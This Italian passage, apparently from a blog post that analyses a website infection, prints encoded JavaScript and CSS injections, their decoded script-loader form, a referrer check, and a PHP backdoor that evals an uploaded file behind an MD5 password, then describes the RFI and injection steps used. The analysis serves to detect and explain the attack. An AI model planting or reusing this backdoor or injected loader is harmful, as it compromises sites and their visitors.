style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">54</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span>4E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #0000ff;">'));
/* a995d2cc661fa72452472e9554b5520c */</span></pre></td></tr></table></div>

<p class="bbcode">Mentre nei <strong>Fogli di Stile (.css)</strong> viene inserito questo codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">/* a0b4df006e02184c60dbf503e71c87ad */</span>
body <span style="color: #009900;">&#123;</span> margin<span style="color: #339933;">-</span>top<span style="color: #339933;">:</span> expression<span style="color: #009900;">&#40;</span><span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span>unescape<span style="color: #009900;">&#40;</span>’<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">21</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">49</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>7B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">31</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">35</span><span style="color: #339933;">%</span><span style="color:#800080;">39</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">34</span><span style="color: #339933;">%</span><span style="color:#800080;">36</span><span style="color: #339933;">%</span><span style="color:#800080;">32</span><span style="color: #339933;">%</span><span style="color:#800080;">38</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">33</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">76</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>3D<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">77</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">46</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span>4B<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">66</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>2F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span>6B<span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">41</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">72</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">62</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>2C<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span>4A<span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">53</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span>6F<span style="color: #339933;">%</span><span style="color:#800080;">63</span><span style="color: #339933;">%</span><span style="color:#800080;">75</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">45</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">42</span><span style="color: #339933;">%</span><span style="color:#800080;">79</span><span style="color: #339933;">%</span><span style="color:#800080;">54</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">67</span><span style="color: #339933;">%</span>4E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">27</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span><span style="color:#800080;">74</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6D<span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span><span style="color:#800080;">30</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span>2E<span style="color: #339933;">%</span><span style="color:#800080;">61</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">70</span><span style="color: #339933;">%</span><span style="color:#800080;">65</span><span style="color: #339933;">%</span>6E<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">43</span><span style="color: #339933;">%</span><span style="color:#800080;">68</span><span style="color: #339933;">%</span><span style="color:#800080;">69</span><span style="color: #339933;">%</span>6C<span style="color: #339933;">%</span><span style="color:#800080;">64</span><span style="color: #339933;">%</span><span style="color:#800080;">28</span><span style="color: #339933;">%</span>6A<span style="color: #339933;">%</span><span style="color:#800080;">73</span><span style="color: #339933;">%</span><span style="color:#800080;">29</span><span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #339933;">%</span>7D<span style="color: #339933;">%</span>3B<span style="color: #339933;">%</span><span style="color:#800080;">20</span><span style="color: #0000ff;">'))) }
/* a995d2cc661fa72452472e9554b5520c */</span></pre></td></tr></table></div>

<p class="bbcode">In alcune situazioni è capitato di individuare del codice inserito anche nelle pagine <strong>Php (.php;.php3)</strong>.Tale codice serve a colui che attacca per verificare la presenza di vulnerabilità nella vittima e, in particolare, per verificare che eventuali inclusioni esterne vengano elaborate correttamente.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&lt;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #b1b100;">echo</span> “<span style="color: #000088;">$t</span>\n”<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>     say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span>”testdata_<span style="color: #000088;">$t</span>”<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> “ ”<span style="color: #339933;">;</span> testdata<span style="color: #009900;">&#40;</span>’start’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;p&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span>”aace99428c50dbe965acc93f3f275cd3?<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
     <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fread</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;tmp_name&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>”rb”<span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$HTTP_POST_FILES</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;size&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
 <span style="color: #990000;">eval</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
 <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span> testdata<span style="color: #009900;">&#40;</span>’f<span style="color: #0000ff;">');
 };
 }     else{testdata(’pass’); };
testdata(’end’);
echo ”  “; ?&gt;</span></pre></td></tr></table></div>

<p><br class="spacer_" /></p>
<p>Il codice presente nei <strong>CSS</strong> e nei <strong>JavaScript</strong> è stato <strong>decodificato</strong> e in chiaro appare così:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>document<span style="color: #339933;">.</span>getElementById<span style="color: #009900;">&#40;</span>’JSSS’<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
JSS1 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">59</span><span style="color: #339933;">;</span>
JSS2 <span style="color: #339933;">=</span> <span style="color: #cc66cc;">159180</span><span style="color: #339933;">;</span>
JSS3 <span style="color: #339933;">=</span> ‘<span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>dummy<span style="color: #339933;">.</span>htm’<span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">var</span> js <span style="color: #339933;">=</span> document<span style="color: #339933;">.</span>createElement<span style="color: #009900;">&#40;</span>’script’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
js<span style="color: #339933;">.</span>setAttribute<span style="color: #009900;">&#40;</span>’src’<span style="color: #339933;">,</span> ‘<span style="color: #339933;">/</span>admin<span style="color: #339933;">/</span>wysiwyg<span style="color: #339933;">/</span>rujez<span style="color: #339933;">/</span>check<span style="color: #339933;">.</span>js’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
js<span style="color: #339933;">.</span>setAttribute<span style="color: #009900;">&#40;</span>’id’<span style="color: #339933;">,</span> ‘JSSS’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
document<span style="color: #339933;">.</span>getElementsByTagName<span style="color: #009900;">&#40;</span>’head’<span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>item<span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span>appendChild<span style="color: #009900;">&#40;</span>js<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Infine viene creato un file &#8220;<strong>check.js</strong>&#8221; contenente il seguente codice:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>Math<span style="color: #339933;">.</span>random<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span> <span style="color: #339933;">&lt;</span> JSS1<span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;&amp;</span> document<span style="color: #339933;">.</span>referrer<span style="color: #339933;">.</span>match<span style="color: #009900;">&#40;</span><span style="color: #339933;">/</span>^http<span style="color: #339933;">:</span>\<span style="color: #339933;">/</span>\<span style="color: #339933;">/</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#91;</span>a<span style="color: #339933;">-</span>z0<span style="color: #339933;">-</span><span style="color: #cc66cc;">9</span>_\<span style="color: #339933;">-</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span>\<span style="color: #339933;">.</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span>google<span style="color: #339933;">|</span>msn<span style="color: #339933;">|</span>yahoo<span style="color: #339933;">|</span>live<span style="color: #339933;">|</span>ask<span style="color: #339933;">|</span>dogpile<span style="color: #339933;">|</span>mywebsearch<span style="color: #339933;">|</span>yandex<span style="color: #339933;">|</span>rambler<span style="color: #339933;">|</span>aport<span style="color: #339933;">|</span>mail<span style="color: #339933;">|</span>gogo<span style="color: #339933;">|</span>poisk<span style="color: #339933;">|</span>
alltheweb<span style="color: #339933;">|</span>fireball<span style="color: #339933;">|</span>freenet<span style="color: #339933;">|</span>abacho<span style="color: #339933;">|</span>wanadoo<span style="color: #339933;">|</span>free<span style="color: #339933;">|</span>club<span style="color: #339933;">-</span>internet<span style="color: #339933;">|</span>aliceadsl<span style="color: #339933;">|</span>alice<span style="color: #339933;">|</span>skynet<span style="color: #339933;">|</span>terra<span style="color: #339933;">|</span>ya<span style="color: #339933;">|</span>orange<span style="color: #339933;">|</span>clix<span style="color: #339933;">|</span>terravista<span style="color: #339933;">|</span>gratis<span style="color: #339933;">-</span>ting<span style="color: #339933;">|</span>suomi24<span style="color: #009900;">&#41;</span>\<span style="color: #339933;">./</span><span style="color: #009900;">&#41;</span></pre></td></tr></table></div>

</pre>
<h1><strong>Come Lavora</strong><br />
</h1>
<p>Dalle verifiche che ho potuto effettuare per ora risulta che non vi è una tecnica costante di intrusione ma i siti vengono hackerati sfruttando le falle presenti quindi si va dall'<strong>XSS (Cross Site Scripting)</strong> all'<strong>RFI (Remote File Inclusion) </strong>all'hacking (probabilmente tramite <strong>Brute Force</strong> ) dell'account Ftp con successivo upload dei file.</p>
<p>Nel dettaglio lo script effettua una primo tentativo di attacco tentando una <strong>HTTP Injection</strong> nel tentativo di fare includere nelle pagine della vittima un Url ad una pagina contenente il solo codice:</p>
<blockquote><p><strong><a title="Urlencoded Server list just_a_test" href="http://www.embedded.ch/php-echo-md5-just_a_test.htm"><strong>< ?php echo md5("just_a_test"); ?></strong></a></strong></p>
</blockquote>
<p>Questo semplice codice servirà a chi esegue l'Hacking per verificare la presenza della vulnerabilità o meno. Se tramite l'<strong>Http Injection</strong> individua nella pagine della vittima la stringa <strong>MD5</strong> della parola "just_a_test" avrà conferma che la vittima è vulnerabile in quanto elabora correttamente pagine esterne.</p>
<p>Se tale test da esito positivo effettuerà una seconda <strong>HTTP Injection</strong> facendo eseguire uno Script Php che provvederà a scansionare tutte le cartelle e file presenti nel sito creando i file ".htaccess" ed eseguendo l'edit di ogni file "<strong>.css</strong>" e "<strong>.js</strong>".</p>
